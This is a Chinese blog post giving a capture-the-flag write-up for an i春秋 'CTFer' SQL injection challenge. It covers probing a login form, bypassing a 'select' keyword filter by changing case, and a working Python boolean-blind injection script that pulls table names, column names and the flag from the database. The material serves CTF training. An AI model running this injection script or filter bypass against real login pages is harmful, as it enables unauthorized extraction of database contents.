i春秋《从0到1:CTFer成长之路》题目(Web——SQL注入-2)

2021/5/22 2:25:24

本文主要是介绍i春秋《从0到1:CTFer成长之路》题目(Web——SQL注入-2),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

文章目录

  • 题目链接:
  • 解题思路
    • 1、首先点击login.php,输入进行尝试
    • 2、开始尝试是否存在注入
    • 3、这里可以判断列字段的个数,但是没有回显此步可以省略
    • 4、由于没有回显,故只能尝试盲注
    • 5、抓包分析
    • 6、编写脚本

题目链接:

https://www.ichunqiu.com/battalion?t=1&r=68487

解题思路

1、首先点击login.php,输入进行尝试

输入admin显示账户或者密码错误
在这里插入图片描述

而输入其他显示账号不存在
在这里插入图片描述

这里可以初步猜测用户名就是admin

2、开始尝试是否存在注入

输入admin’,显示账户不存在,而输入admin’#显示账户或密码错误
在这里插入图片描述
这表明存在注入漏洞,并且为字符型漏洞。

3、这里可以判断列字段的个数,但是没有回显此步可以省略

在这里插入图片描述
可以判断为3列

4、由于没有回显,故只能尝试盲注

在盲注之前,根据一些系列测试可以发现此题过滤了select
但是可以大写绕过。

5、抓包分析

在这里插入图片描述
post提交方式,参数如下为:name和pass
正确回显:{“error”:1,“msg”:"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}
在这里插入图片描述
错误回显:{“error”:1,“msg”:"\u8d26\u53f7\u4e0d\u5b58\u5728"}
在这里插入图片描述
根据不同的回显编写脚本,这里采用布尔盲注,经测试,时间盲注也是可以,但是执行时间较长。

6、编写脚本

import requests

def Get(url):
    result = ''
    for i in range(1,100):
        left = 32
        right = 128
        mid = (left+right)//2
        while left<right:
            #查询表名
            # name = "admin' and if(ascii(mid((Select group_concat(table_name) from information_schema.tables " \
            #        "where table_schema=database()),{0},1))>{1},1,0)#".format(i,mid)

            #查询列名
            # name = "admin' and if(ascii(mid((Select group_concat(column_name) from information_schema.columns " \
            #        "where table_schema=database() and table_name='fl4g'),{0},1))>{1},1,0)#".format(i,mid)

            #根据表名和列名查询字段值
            name = "admin' and if(ascii(mid((Select flag from fl4g),{0},1))>{1},1,0)#".format(i, mid)
            
            data = {"name":name,"pass":"1223234"}
            res = requests.post(url,data)
            if "\\u8d26\\u53f7\\u6216\\u5bc6\\u7801\\u9519\\u8bef" in res.content.decode():
                left = mid+1
            else:
                right = mid
            mid = (left+right)//2
        #查询结果结束
        if mid==32:
            break
        result += chr(mid)
        print(result)
    print(result)

Get('http://eci-2ze7rwkw5ezyr8olv58h.cloudeci1.ichunqiu.com/login.php')

查询表名结果:
在这里插入图片描述
查询列名结果:
在这里插入图片描述
查询相关的值
在这里插入图片描述
得到flag: n1book{login_sqli_is_nice}



这篇关于i春秋《从0到1:CTFer成长之路》题目(Web——SQL注入-2)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程